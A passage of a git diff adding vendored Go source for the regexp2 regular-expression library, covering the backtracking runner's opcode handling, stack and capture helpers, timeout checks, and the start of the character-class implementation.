r.trackPush1(r.stackPeekN(1)) + r.advance(0) + continue + + case syntax.Forejump | syntax.Back: + // r.trackPush: + // 0: r.crawlpos + r.trackPop() + + for r.crawlpos() != r.trackPeek() { + r.uncapture() + } + + break + + case syntax.Bol: + if r.leftchars() > 0 && r.charAt(r.textPos()-1) != '\n' { + break + } + r.advance(0) + continue + + case syntax.Eol: + if r.rightchars() > 0 && r.charAt(r.textPos()) != '\n' { + break + } + r.advance(0) + continue + + case syntax.Boundary: + if !r.isBoundary(r.textPos(), 0, r.runtextend) { + break + } + r.advance(0) + continue + + case syntax.Nonboundary: + if r.isBoundary(r.textPos(), 0, r.runtextend) { + break + } + r.advance(0) + continue + + case syntax.ECMABoundary: + if !r.isECMABoundary(r.textPos(), 0, r.runtextend) { + break + } + r.advance(0) + continue + + case syntax.NonECMABoundary: + if r.isECMABoundary(r.textPos(), 0, r.runtextend) { + break + } + r.advance(0) + continue + + case syntax.Beginning: + if r.leftchars() > 0 { + break + } + r.advance(0) + continue + + case syntax.Start: + if r.textPos() != r.textstart() { + break + } + r.advance(0) + continue + + case syntax.EndZ: + rchars := r.rightchars() + if rchars > 1 { + break + } + // RE2 and EcmaScript define $ as "asserts position at the end of the string" + // PCRE/.NET adds "or before the line terminator right at the end of the string (if any)" + if (r.re.options & (RE2 | ECMAScript)) != 0 { + // RE2/Ecmascript mode + if rchars > 0 { + break + } + } else if rchars == 1 && r.charAt(r.textPos()) != '\n' { + // "regular" mode + break + } + + r.advance(0) + continue + + case syntax.End: + if r.rightchars() > 0 { + break + } + r.advance(0) + continue + + case syntax.One: + if r.forwardchars() < 1 || r.forwardcharnext() != rune(r.operand(0)) { + break + } + + r.advance(1) + continue + + case syntax.Notone: + if r.forwardchars() < 1 || r.forwardcharnext() == rune(r.operand(0)) { + break + } + + r.advance(1) + continue + + case syntax.Set: + + if r.forwardchars() < 1 || !r.code.Sets[r.operand(0)].CharIn(r.forwardcharnext()) { + break + } + + r.advance(1) + continue + + case syntax.Multi: + if !r.runematch(r.code.Strings[r.operand(0)]) { + break + } + + r.advance(1) + continue + + case syntax.Ref: + + capnum := r.operand(0) + + if r.runmatch.isMatched(capnum) { + if !r.refmatch(r.runmatch.matchIndex(capnum), r.runmatch.matchLength(capnum)) { + break + } + } else { + if (r.re.options & ECMAScript) == 0 { + break + } + } + + r.advance(1) + continue + + case syntax.Onerep: + + c := r.operand(1) + + if r.forwardchars() < c { + break + } + + ch := rune(r.operand(0)) + + for c > 0 { + if r.forwardcharnext() != ch { + goto BreakBackward + } + c-- + } + + r.advance(2) + continue + + case syntax.Notonerep: + + c := r.operand(1) + + if r.forwardchars() < c { + break + } + ch := rune(r.operand(0)) + + for c > 0 { + if r.forwardcharnext() == ch { + goto BreakBackward + } + c-- + } + + r.advance(2) + continue + + case syntax.Setrep: + + c := r.operand(1) + + if r.forwardchars() < c { + break + } + + set := r.code.Sets[r.operand(0)] + + for c > 0 { + if !set.CharIn(r.forwardcharnext()) { + goto BreakBackward + } + c-- + } + + r.advance(2) + continue + + case syntax.Oneloop: + + c := r.operand(1) + + if c > r.forwardchars() { + c = r.forwardchars() + } + + ch := rune(r.operand(0)) + i := c + + for ; i > 0; i-- { + if r.forwardcharnext() != ch { + r.backwardnext() + break + } + } + + if c > i { + r.trackPush2(c-i-1, r.textPos()-r.bump()) + } + + r.advance(2) + continue + + case syntax.Notoneloop: + + c := r.operand(1) + + if c > r.forwardchars() { + c = r.forwardchars() + } + + ch := rune(r.operand(0)) + i := c + + for ; i > 0; i-- { + if r.forwardcharnext() == ch { + r.backwardnext() + break + } + } + + if c > i { + r.trackPush2(c-i-1, r.textPos()-r.bump()) + } + + r.advance(2) + continue + + case syntax.Setloop: + + c := r.operand(1) + + if c > r.forwardchars() { + c = r.forwardchars() + } + + set := r.code.Sets[r.operand(0)] + i := c + + for ; i > 0; i-- { + if !set.CharIn(r.forwardcharnext()) { + r.backwardnext() + break + } + } + + if c > i { + r.trackPush2(c-i-1, r.textPos()-r.bump()) + } + + r.advance(2) + continue + + case syntax.Oneloop | syntax.Back, syntax.Notoneloop | syntax.Back: + + r.trackPopN(2) + i := r.trackPeek() + pos := r.trackPeekN(1) + + r.textto(pos) + + if i > 0 { + r.trackPush2(i-1, pos-r.bump()) + } + + r.advance(2) + continue + + case syntax.Setloop | syntax.Back: + + r.trackPopN(2) + i := r.trackPeek() + pos := r.trackPeekN(1) + + r.textto(pos) + + if i > 0 { + r.trackPush2(i-1, pos-r.bump()) + } + + r.advance(2) + continue + + case syntax.Onelazy, syntax.Notonelazy: + + c := r.operand(1) + + if c > r.forwardchars() { + c = r.forwardchars() + } + + if c > 0 { + r.trackPush2(c-1, r.textPos()) + } + + r.advance(2) + continue + + case syntax.Setlazy: + + c := r.operand(1) + + if c > r.forwardchars() { + c = r.forwardchars() + } + + if c > 0 { + r.trackPush2(c-1, r.textPos()) + } + + r.advance(2) + continue + + case syntax.Onelazy | syntax.Back: + + r.trackPopN(2) + pos := r.trackPeekN(1) + r.textto(pos) + + if r.forwardcharnext() != rune(r.operand(0)) { + break + } + + i := r.trackPeek() + + if i > 0 { + r.trackPush2(i-1, pos+r.bump()) + } + + r.advance(2) + continue + + case syntax.Notonelazy | syntax.Back: + + r.trackPopN(2) + pos := r.trackPeekN(1) + r.textto(pos) + + if r.forwardcharnext() == rune(r.operand(0)) { + break + } + + i := r.trackPeek() + + if i > 0 { + r.trackPush2(i-1, pos+r.bump()) + } + + r.advance(2) + continue + + case syntax.Setlazy | syntax.Back: + + r.trackPopN(2) + pos := r.trackPeekN(1) + r.textto(pos) + + if !r.code.Sets[r.operand(0)].CharIn(r.forwardcharnext()) { + break + } + + i := r.trackPeek() + + if i > 0 { + r.trackPush2(i-1, pos+r.bump()) + } + + r.advance(2) + continue + + default: + return errors.New("unknown state in regex runner") + } + + BreakBackward: + ; + + // "break Backward" comes here: + r.backtrack() + } +} + +// increase the size of stack and track storage +func (r *runner) ensureStorage() { + if r.runstackpos < r.runtrackcount*4 { + doubleIntSlice(&r.runstack, &r.runstackpos) + } + if r.runtrackpos < r.runtrackcount*4 { + doubleIntSlice(&r.runtrack, &r.runtrackpos) + } +} + +func doubleIntSlice(s *[]int, pos *int) { + oldLen := len(*s) + newS := make([]int, oldLen*2) + + copy(newS[oldLen:], *s) + *pos += oldLen + *s = newS +} + +// Save a number on the longjump unrolling stack +func (r *runner) crawl(i int) { + if r.runcrawlpos == 0 { + doubleIntSlice(&r.runcrawl, &r.runcrawlpos) + } + r.runcrawlpos-- + r.runcrawl[r.runcrawlpos] = i +} + +// Remove a number from the longjump unrolling stack +func (r *runner) popcrawl() int { + val := r.runcrawl[r.runcrawlpos] + r.runcrawlpos++ + return val +} + +// Get the height of the stack +func (r *runner) crawlpos() int { + return len(r.runcrawl) - r.runcrawlpos +} + +func (r *runner) advance(i int) { + r.codepos += (i + 1) + r.setOperator(r.code.Codes[r.codepos]) +} + +func (r *runner) goTo(newpos int) { + // when branching backward or in place, ensure storage + if newpos <= r.codepos { + r.ensureStorage() + } + + r.setOperator(r.code.Codes[newpos]) + r.codepos = newpos +} + +func (r *runner) textto(newpos int) { + r.runtextpos = newpos +} + +func (r *runner) trackto(newpos int) { + r.runtrackpos = len(r.runtrack) - newpos +} + +func (r *runner) textstart() int { + return r.runtextstart +} + +func (r *runner) textPos() int { + return r.runtextpos +} + +// push onto the backtracking stack +func (r *runner) trackpos() int { + return len(r.runtrack) - r.runtrackpos +} + +func (r *runner) trackPush() { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = r.codepos +} + +func (r *runner) trackPush1(I1 int) { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I1 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = r.codepos +} + +func (r *runner) trackPush2(I1, I2 int) { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I1 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I2 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = r.codepos +} + +func (r *runner) trackPush3(I1, I2, I3 int) { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I1 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I2 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I3 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = r.codepos +} + +func (r *runner) trackPushNeg1(I1 int) { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I1 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = -r.codepos +} + +func (r *runner) trackPushNeg2(I1, I2 int) { + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I1 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = I2 + r.runtrackpos-- + r.runtrack[r.runtrackpos] = -r.codepos +} + +func (r *runner) backtrack() { + newpos := r.runtrack[r.runtrackpos] + r.runtrackpos++ + + if r.re.Debug() { + if newpos < 0 { + fmt.Printf(" Backtracking (back2) to code position %v\n", -newpos) + } else { + fmt.Printf(" Backtracking to code position %v\n", newpos) + } + } + + if newpos < 0 { + newpos = -newpos + r.setOperator(r.code.Codes[newpos] | syntax.Back2) + } else { + r.setOperator(r.code.Codes[newpos] | syntax.Back) + } + + // When branching backward, ensure storage + if newpos < r.codepos { + r.ensureStorage() + } + + r.codepos = newpos +} + +func (r *runner) setOperator(op int) { + r.caseInsensitive = (0 != (op & syntax.Ci)) + r.rightToLeft = (0 != (op & syntax.Rtl)) + r.operator = syntax.InstOp(op & ^(syntax.Rtl | syntax.Ci)) +} + +func (r *runner) trackPop() { + r.runtrackpos++ +} + +// pop framesize items from the backtracking stack +func (r *runner) trackPopN(framesize int) { + r.runtrackpos += framesize +} + +// Technically we are actually peeking at items already popped. So if you want to +// get and pop the top item from the stack, you do +// r.trackPop(); +// r.trackPeek(); +func (r *runner) trackPeek() int { + return r.runtrack[r.runtrackpos-1] +} + +// get the ith element down on the backtracking stack +func (r *runner) trackPeekN(i int) int { + return r.runtrack[r.runtrackpos-i-1] +} + +// Push onto the grouping stack +func (r *runner) stackPush(I1 int) { + r.runstackpos-- + r.runstack[r.runstackpos] = I1 +} + +func (r *runner) stackPush2(I1, I2 int) { + r.runstackpos-- + r.runstack[r.runstackpos] = I1 + r.runstackpos-- + r.runstack[r.runstackpos] = I2 +} + +func (r *runner) stackPop() { + r.runstackpos++ +} + +// pop framesize items from the grouping stack +func (r *runner) stackPopN(framesize int) { + r.runstackpos += framesize +} + +// Technically we are actually peeking at items already popped. So if you want to +// get and pop the top item from the stack, you do +// r.stackPop(); +// r.stackPeek(); +func (r *runner) stackPeek() int { + return r.runstack[r.runstackpos-1] +} + +// get the ith element down on the grouping stack +func (r *runner) stackPeekN(i int) int { + return r.runstack[r.runstackpos-i-1] +} + +func (r *runner) operand(i int) int { + return r.code.Codes[r.codepos+i+1] +} + +func (r *runner) leftchars() int { + return r.runtextpos +} + +func (r *runner) rightchars() int { + return r.runtextend - r.runtextpos +} + +func (r *runner) bump() int { + if r.rightToLeft { + return -1 + } + return 1 +} + +func (r *runner) forwardchars() int { + if r.rightToLeft { + return r.runtextpos + } + return r.runtextend - r.runtextpos +} + +func (r *runner) forwardcharnext() rune { + var ch rune + if r.rightToLeft { + r.runtextpos-- + ch = r.runtext[r.runtextpos] + } else { + ch = r.runtext[r.runtextpos] + r.runtextpos++ + } + + if r.caseInsensitive { + return unicode.ToLower(ch) + } + return ch +} + +func (r *runner) runematch(str []rune) bool { + var pos int + + c := len(str) + if !r.rightToLeft { + if r.runtextend-r.runtextpos < c { + return false + } + + pos = r.runtextpos + c + } else { + if r.runtextpos-0 < c { + return false + } + + pos = r.runtextpos + } + + if !r.caseInsensitive { + for c != 0 { + c-- + pos-- + if str[c] != r.runtext[pos] { + return false + } + } + } else { + for c != 0 { + c-- + pos-- + if str[c] != unicode.ToLower(r.runtext[pos]) { + return false + } + } + } + + if !r.rightToLeft { + pos += len(str) + } + + r.runtextpos = pos + + return true +} + +func (r *runner) refmatch(index, len int) bool { + var c, pos, cmpos int + + if !r.rightToLeft { + if r.runtextend-r.runtextpos < len { + return false + } + + pos = r.runtextpos + len + } else { + if r.runtextpos-0 < len { + return false + } + + pos = r.runtextpos + } + cmpos = index + len + + c = len + + if !r.caseInsensitive { + for c != 0 { + c-- + cmpos-- + pos-- + if r.runtext[cmpos] != r.runtext[pos] { + return false + } + + } + } else { + for c != 0 { + c-- + cmpos-- + pos-- + + if unicode.ToLower(r.runtext[cmpos]) != unicode.ToLower(r.runtext[pos]) { + return false + } + } + } + + if !r.rightToLeft { + pos += len + } + + r.runtextpos = pos + + return true +} + +func (r *runner) backwardnext() { + if r.rightToLeft { + r.runtextpos++ + } else { + r.runtextpos-- + } +} + +func (r *runner) charAt(j int) rune { + return r.runtext[j] +} + +func (r *runner) findFirstChar() bool { + + if 0 != (r.code.Anchors & (syntax.AnchorBeginning | syntax.AnchorStart | syntax.AnchorEndZ | syntax.AnchorEnd)) { + if !r.code.RightToLeft { + if (0 != (r.code.Anchors&syntax.AnchorBeginning) && r.runtextpos > 0) || + (0 != (r.code.Anchors&syntax.AnchorStart) && r.runtextpos > r.runtextstart) { + r.runtextpos = r.runtextend + return false + } + if 0 != (r.code.Anchors&syntax.AnchorEndZ) && r.runtextpos < r.runtextend-1 { + r.runtextpos = r.runtextend - 1 + } else if 0 != (r.code.Anchors&syntax.AnchorEnd) && r.runtextpos < r.runtextend { + r.runtextpos = r.runtextend + } + } else { + if (0 != (r.code.Anchors&syntax.AnchorEnd) && r.runtextpos < r.runtextend) || + (0 != (r.code.Anchors&syntax.AnchorEndZ) && (r.runtextpos < r.runtextend-1 || + (r.runtextpos == r.runtextend-1 && r.charAt(r.runtextpos) != '\n'))) || + (0 != (r.code.Anchors&syntax.AnchorStart) && r.runtextpos < r.runtextstart) { + r.runtextpos = 0 + return false + } + if 0 != (r.code.Anchors&syntax.AnchorBeginning) && r.runtextpos > 0 { + r.runtextpos = 0 + } + } + + if r.code.BmPrefix != nil { + return r.code.BmPrefix.IsMatch(r.runtext, r.runtextpos, 0, r.runtextend) + } + + return true // found a valid start or end anchor + } else if r.code.BmPrefix != nil { + r.runtextpos = r.code.BmPrefix.Scan(r.runtext, r.runtextpos, 0, r.runtextend) + + if r.runtextpos == -1 { + if r.code.RightToLeft { + r.runtextpos = 0 + } else { + r.runtextpos = r.runtextend + } + return false + } + + return true + } else if r.code.FcPrefix == nil { + return true + } + + r.rightToLeft = r.code.RightToLeft + r.caseInsensitive = r.code.FcPrefix.CaseInsensitive + + set := r.code.FcPrefix.PrefixSet + if set.IsSingleton() { + ch := set.SingletonChar() + for i := r.forwardchars(); i > 0; i-- { + if ch == r.forwardcharnext() { + r.backwardnext() + return true + } + } + } else { + for i := r.forwardchars(); i > 0; i-- { + n := r.forwardcharnext() + //fmt.Printf("%v in %v: %v\n", string(n), set.String(), set.CharIn(n)) + if set.CharIn(n) { + r.backwardnext() + return true + } + } + } + + return false +} + +func (r *runner) initMatch() { + // Use a hashtable'ed Match object if the capture numbers are sparse + + if r.runmatch == nil { + if r.re.caps != nil { + r.runmatch = newMatchSparse(r.re, r.re.caps, r.re.capsize, r.runtext, r.runtextstart) + } else { + r.runmatch = newMatch(r.re, r.re.capsize, r.runtext, r.runtextstart) + } + } else { + r.runmatch.reset(r.runtext, r.runtextstart) + } + + // note we test runcrawl, because it is the last one to be allocated + // If there is an alloc failure in the middle of the three allocations, + // we may still return to reuse this instance, and we want to behave + // as if the allocations didn't occur. (we used to test _trackcount != 0) + + if r.runcrawl != nil { + r.runtrackpos = len(r.runtrack) + r.runstackpos = len(r.runstack) + r.runcrawlpos = len(r.runcrawl) + return + } + + r.initTrackCount() + + tracksize := r.runtrackcount * 8 + stacksize := r.runtrackcount * 8 + + if tracksize < 32 { + tracksize = 32 + } + if stacksize < 16 { + stacksize = 16 + } + + r.runtrack = make([]int, tracksize) + r.runtrackpos = tracksize + + r.runstack = make([]int, stacksize) + r.runstackpos = stacksize + + r.runcrawl = make([]int, 32) + r.runcrawlpos = 32 +} + +func (r *runner) tidyMatch(quick bool) *Match { + if !quick { + match := r.runmatch + + r.runmatch = nil + + match.tidy(r.runtextpos) + return match + } else { + // send back our match -- it's not leaving the package, so it's safe to not clean it up + // this reduces allocs for frequent calls to the "IsMatch" bool-only functions + return r.runmatch + } +} + +// capture captures a subexpression. Note that the +// capnum used here has already been mapped to a non-sparse +// index (by the code generator RegexWriter). +func (r *runner) capture(capnum, start, end int) { + if end < start { + T := end + end = start + start = T + } + + r.crawl(capnum) + r.runmatch.addMatch(capnum, start, end-start) +} + +// transferCapture captures a subexpression. Note that the +// capnum used here has already been mapped to a non-sparse +// index (by the code generator RegexWriter). +func (r *runner) transferCapture(capnum, uncapnum, start, end int) { + var start2, end2 int + + // these are the two intervals that are cancelling each other + + if end < start { + T := end + end = start + start = T + } + + start2 = r.runmatch.matchIndex(uncapnum) + end2 = start2 + r.runmatch.matchLength(uncapnum) + + // The new capture gets the innermost defined interval + + if start >= end2 { + end = start + start = end2 + } else if end <= start2 { + start = start2 + } else { + if end > end2 { + end = end2 + } + if start2 > start { + start = start2 + } + } + + r.crawl(uncapnum) + r.runmatch.balanceMatch(uncapnum) + + if capnum != -1 { + r.crawl(capnum) + r.runmatch.addMatch(capnum, start, end-start) + } +} + +// revert the last capture +func (r *runner) uncapture() { + capnum := r.popcrawl() + r.runmatch.removeMatch(capnum) +} + +//debug + +func (r *runner) dumpState() { + back := "" + if r.operator&syntax.Back != 0 { + back = " Back" + } + if r.operator&syntax.Back2 != 0 { + back += " Back2" + } + fmt.Printf("Text: %v\nTrack: %v\nStack: %v\n %s%s\n\n", + r.textposDescription(), + r.stackDescription(r.runtrack, r.runtrackpos), + r.stackDescription(r.runstack, r.runstackpos), + r.code.OpcodeDescription(r.codepos), + back) +} + +func (r *runner) stackDescription(a []int, index int) string { + buf := &bytes.Buffer{} + + fmt.Fprintf(buf, "%v/%v", len(a)-index, len(a)) + if buf.Len() < 8 { + buf.WriteString(strings.Repeat(" ", 8-buf.Len())) + } + + buf.WriteRune('(') + for i := index; i < len(a); i++ { + if i > index { + buf.WriteRune(' ') + } + + buf.WriteString(strconv.Itoa(a[i])) + } + + buf.WriteRune(')') + + return buf.String() +} + +func (r *runner) textposDescription() string { + buf := &bytes.Buffer{} + + buf.WriteString(strconv.Itoa(r.runtextpos)) + + if buf.Len() < 8 { + buf.WriteString(strings.Repeat(" ", 8-buf.Len())) + } + + if r.runtextpos > 0 { + buf.WriteString(syntax.CharDescription(r.runtext[r.runtextpos-1])) + } else { + buf.WriteRune('^') + } + + buf.WriteRune('>') + + for i := r.runtextpos; i < r.runtextend; i++ { + buf.WriteString(syntax.CharDescription(r.runtext[i])) + } + if buf.Len() >= 64 { + buf.Truncate(61) + buf.WriteString("...") + } else { + buf.WriteRune('$') + } + + return buf.String() +} + +// decide whether the pos +// at the specified index is a boundary or not. It's just not worth +// emitting inline code for this logic. +func (r *runner) isBoundary(index, startpos, endpos int) bool { + return (index > startpos && syntax.IsWordChar(r.runtext[index-1])) != + (index < endpos && syntax.IsWordChar(r.runtext[index])) +} + +func (r *runner) isECMABoundary(index, startpos, endpos int) bool { + return (index > startpos && syntax.IsECMAWordChar(r.runtext[index-1])) != + (index < endpos && syntax.IsECMAWordChar(r.runtext[index])) +} + +func (r *runner) startTimeoutWatch() { + if r.ignoreTimeout { + return + } + r.deadline = makeDeadline(r.timeout) +} + +func (r *runner) checkTimeout() error { + if r.ignoreTimeout || !r.deadline.reached() { + return nil + } + + if r.re.Debug() { + //Debug.WriteLine("") + //Debug.WriteLine("RegEx match timeout occurred!") + //Debug.WriteLine("Specified timeout: " + TimeSpan.FromMilliseconds(_timeout).ToString()) + //Debug.WriteLine("Timeout check frequency: " + TimeoutCheckFrequency) + //Debug.WriteLine("Search pattern: " + _runregex._pattern) + //Debug.WriteLine("Input: " + r.runtext) + //Debug.WriteLine("About to throw RegexMatchTimeoutException.") + } + + return fmt.Errorf("match timeout after %v on input `%v`", r.timeout, string(r.runtext)) +} + +func (r *runner) initTrackCount() { + r.runtrackcount = r.code.TrackCount +} + +// getRunner returns a run to use for matching re. +// It uses the re's runner cache if possible, to avoid +// unnecessary allocation. +func (re *Regexp) getRunner() *runner { + re.muRun.Lock() + if n := len(re.runner); n > 0 { + z := re.runner[n-1] + re.runner = re.runner[:n-1] + re.muRun.Unlock() + return z + } + re.muRun.Unlock() + z := &runner{ + re: re, + code: re.code, + } + return z +} + +// putRunner returns a runner to the re's cache. +// There is no attempt to limit the size of the cache, so it will +// grow to the maximum number of simultaneous matches +// run using re. (The cache empties when re gets garbage collected.) +func (re *Regexp) putRunner(r *runner) { + re.muRun.Lock() + r.runtext = nil + if r.runmatch != nil { + r.runmatch.text = nil + } + re.runner = append(re.runner, r) + re.muRun.Unlock() +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/charclass.go b/backend/vendor/github.com/dlclark/regexp2/syntax/charclass.go new file mode 100644 index 0000000..6881a0e --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/charclass.go @@ -0,0 +1,865 @@ +package syntax + +import ( + "bytes" + "encoding/binary" + "fmt" + "sort" + "unicode" + "unicode/utf8" +) + +// CharSet combines start-end rune ranges and unicode categories representing a set of characters +type CharSet struct { + ranges []singleRange + categories []category + sub *CharSet //optional subtractor + negate bool + anything bool +} + +type category struct { + negate bool + cat string +} + +type singleRange struct { + first rune + last rune +} + +const ( + spaceCategoryText = " " + wordCategoryText = "W" +) + +var ( + ecmaSpace = []rune{0x0009, 0x000e, 0x0020, 0x0021, 0x00a0, 0x00a1, 0x1680, 0x1681, 0x2000, 0x200b, 0x2028, 0x202a, 0x202f, 0x2030, 0x205f, 0x2060, 0x3000, 0x3001, 0xfeff, 0xff00} + ecmaWord = []rune{0x0030, 0x003a, 0x0041, 0x005b, 0x005f, 0x0060, 0x0061, 0x007b} + ecmaDigit = []rune{0x0030, 0x003a} + + re2Space = []rune{0x0009, 0x000b, 0x000c, 0x000e, 0x0020, 0x0021} +) + +var ( + AnyClass = getCharSetFromOldString([]rune{0}, false) + ECMAAnyClass = getCharSetFromOldString([]rune{0, 0x000a, 0x000b, 0x000d, 0x000e}, false) + NoneClass = getCharSetFromOldString(nil, false) + ECMAWordClass = getCharSetFromOldString(ecmaWord, false) + NotECMAWordClass = getCharSetFromOldString(ecmaWord, true) + ECMASpaceClass = getCharSetFromOldString(ecmaSpace, false) + NotECMASpaceClass = getCharSetFromOldString(ecmaSpace, true) + ECMADigitClass = getCharSetFromOldString(ecmaDigit, false) + NotECMADigitClass = getCharSetFromOldString(ecmaDigit, true) + + WordClass = getCharSetFromCategoryString(false, false, wordCategoryText) + NotWordClass = getCharSetFromCategoryString(true, false, wordCategoryText) + SpaceClass = getCharSetFromCategoryString(false, false, spaceCategoryText) + NotSpaceClass = getCharSetFromCategoryString(true, false, spaceCategoryText) + DigitClass = getCharSetFromCategoryString(false, false, "Nd") + NotDigitClass = getCharSetFromCategoryString(false, true, "Nd") + + RE2SpaceClass = getCharSetFromOldString(re2Space, false) + NotRE2SpaceClass = getCharSetFromOldString(re2Space, true) +) + +var unicodeCategories = func() map[string]*unicode.RangeTable { + retVal := make(map[string]*unicode.RangeTable) + for k, v := range unicode.Scripts { + retVal[k] = v + } + for k, v := range unicode.Categories { + retVal[k] = v + } + for k, v := range unicode.Properties { + retVal[k] = v + } + return retVal +}() + +func getCharSetFromCategoryString(negateSet bool, negateCat bool, cats ...string) func() *CharSet { + if negateCat && negateSet { + panic("BUG! You should only negate the set OR the category in a constant setup, but not both") + } + + c := CharSet{negate: negateSet} + + c.categories = make([]category, len(cats)) + for i, cat := range cats { + c.categories[i] = category{cat: cat, negate: negateCat} + } + return func() *CharSet { + //make a copy each time + local := c + //return that address + return &local + } +} + +func getCharSetFromOldString(setText []rune, negate bool) func() *CharSet { + c := CharSet{} + if len(setText) > 0 { + fillFirst := false + l := len(setText) + if negate { + if setText[0] == 0 { + setText = setText[1:] + } else { + l++ + fillFirst = true + } + } + + if l%2 == 0 { + c.ranges = make([]singleRange, l/2) + } else { + c.ranges = make([]singleRange, l/2+1) + } + + first := true + if fillFirst { + c.ranges[0] = singleRange{first: 0} + first = false + } + + i := 0 + for _, r := range setText { + if first { + // lower bound in a new range + c.ranges[i] = singleRange{first: r} + first = false + } else { + c.ranges[i].last = r - 1 + i++ + first = true + } + } + if !first { + c.ranges[i].last = utf8.MaxRune + } + } + + return func() *CharSet { + local := c + return &local + } +} + +// Copy makes a deep copy to prevent accidental mutation of a set +func (c CharSet) Copy() CharSet { + ret := CharSet{ + anything: c.anything, + negate: c.negate, + } + + ret.ranges = append(ret.ranges, c.ranges...) + ret.categories = append(ret.categories, c.categories...) + + if c.sub != nil { + sub := c.sub.Copy() + ret.sub = &sub + } + + return ret +} + +// gets a human-readable description for a set string +func (c CharSet) String() string { + buf := &bytes.Buffer{} + buf.WriteRune('[') + + if c.IsNegated() { + buf.WriteRune('^') + } + + for _, r := range c.ranges { + + buf.WriteString(CharDescription(r.first)) + if r.first != r.last { + if r.last-r.first != 1 { + //groups that are 1 char apart skip the dash + buf.WriteRune('-') + } + buf.WriteString(CharDescription(r.last)) + } + } + + for _, c := range c.categories { + buf.WriteString(c.String()) + } + + if c.sub != nil { + buf.WriteRune('-') + buf.WriteString(c.sub.String()) + } + + buf.WriteRune(']') + + return buf.String() +} + +// mapHashFill converts a charset into a buffer for use in maps +func (c CharSet) mapHashFill(buf *bytes.Buffer) { + if c.negate { + buf.WriteByte(0) + } else { + buf.WriteByte(1) + } + + binary.Write(buf, binary.LittleEndian, len(c.ranges)) + binary.Write(buf, binary.LittleEndian, len(c.categories)) + for _, r := range c.ranges { + buf.WriteRune(r.first) + buf.WriteRune(r.last) + } + for _, ct := range c.categories { + buf.WriteString(ct.cat) + if ct.negate { + buf.WriteByte(1) + } else { + buf.WriteByte(0) + } + } + + if c.sub != nil { + c.sub.mapHashFill(buf) + } +} + +// CharIn returns true if the rune is in our character set (either ranges or categories). +// It handles negations and subtracted sub-charsets. +func (c CharSet) CharIn(ch rune) bool { + val := false + // in s && !s.subtracted + + //check ranges + for _, r := range c.ranges { + if ch < r.first { + continue + } + if ch <= r.last { + val = true + break + } + } + + //check categories if we haven't already found a range + if !val && len(c.categories) > 0 { + for _, ct := range c.categories { + // special categories...then unicode + if ct.cat == spaceCategoryText { + if unicode.IsSpace(ch) { + // we found a space so we're done + // negate means this is a "bad" thing + val = !ct.negate + break + } else if ct.negate { + val = true + break + } + } else if ct.cat == wordCategoryText { + if IsWordChar(ch) { + val = !ct.negate + break + } else if ct.negate { + val = true + break + } + } else if unicode.Is(unicodeCategories[ct.cat], ch) { + // if we're in this unicode category then we're done + // if negate=true on this category then we "failed" our test + // otherwise we're good that we found it + val = !ct.negate + break + } else if ct.negate { + val = true + break + } + } + } + + // negate the whole char set + if c.negate { + val = !val + } + + // get subtracted recurse + if val && c.sub != nil { + val = !c.sub.CharIn(ch) + } + + //log.Printf("Char '%v' in %v == %v", string(ch), c.String(), val) + return val +} + +func (c category) String() string { + switch c.cat { + case spaceCategoryText: + if c.negate { + return "\\S" + } + return "\\s" + case wordCategoryText: + if c.negate { + return "\\W" + } + return "\\w" + } + if _, ok := unicodeCategories[c.cat]; ok { + + if c.negate { + return "\\P{" + c.cat + "}" + } + return "\\p{" + c.cat + "}" + } + return "Unknown category: " + c.cat +} + +// CharDescription Produces a human-readable description for a single character. +func CharDescription(ch rune) string { + /*if ch == '\\' { + return "\\\\" + } + + if ch > ' ' && ch <= '~' { + return string(ch) + } else if ch == '\n' { + return "\\n" + } else if ch == ' ' { + return "\\ " + }*/ + + b := &bytes.Buffer{} + escape(b, ch, false) //fmt.Sprintf("%U", ch) + return b.String() +} + +// According to UTS#18 Unicode Regular Expressions (http://www.unicode.org/reports/tr18/) +// RL 1.4 Simple Word Boundaries The class of includes all Alphabetic +// values from the Unicode character database, from UnicodeData.txt [UData], plus the U+200C +// ZERO WIDTH NON-JOINER and U+200D ZERO WIDTH JOINER. +func IsWordChar(r rune) bool { + //"L", "Mn", "Nd", "Pc" + return unicode.In(r, + unicode.Categories["L"], unicode.Categories["Mn"], + unicode.Categories["Nd"], unicode.Categories["Pc"]) || r == '\u200D' || r == '\u200C' + //return 'A' <= r && r <= 'Z' || 'a' <= r && r <= 'z' || '0' <= r && r <= '9' || r == '_' +} + +func IsECMAWordChar(r rune) bool { + return unicode.In(r, + unicode.Categories["L"], unicode.Categories["Mn"], + unicode.Categories["Nd"], unicode.Categories["Pc"]) + + //return 'A' <= r && r <= 'Z' || 'a' <= r && r <= 'z' || '0' <= r && r <= '9' || r == '_' +} + +// SingletonChar will return the char from the first range without validation. +// It assumes you have checked for IsSingleton or IsSingletonInverse and will panic given bad input +func (c CharSet) SingletonChar() rune { + return c.ranges[0].first +} + +func (c CharSet) IsSingleton() bool { + return !c.negate && //negated is multiple chars + len(c.categories) == 0 && len(c.ranges) == 1 && // multiple ranges and unicode classes represent multiple chars + c.sub == nil && // subtraction means we've got multiple chars + c.ranges[0].first == c.ranges[0].last // first and last equal means we're just 1 char +} + +func (c CharSet) IsSingletonInverse() bool { + return c.negate && //same as above, but requires negated + len(c.categories) == 0 && len(c.ranges) == 1 && // multiple ranges and unicode classes represent multiple chars + c.sub == nil && // subtraction means we've got multiple chars + c.ranges[0].first == c.ranges[0].last // first and last equal means we're just 1 char +} + +func (c CharSet) IsMergeable() bool { + return !c.IsNegated() && !c.HasSubtraction() +} + +func (c CharSet) IsNegated() bool { + return c.negate +} + +func (c CharSet) HasSubtraction() bool { + return c.sub != nil +} + +func (c CharSet) IsEmpty() bool { + return len(c.ranges) == 0 && len(c.categories) == 0 && c.sub == nil 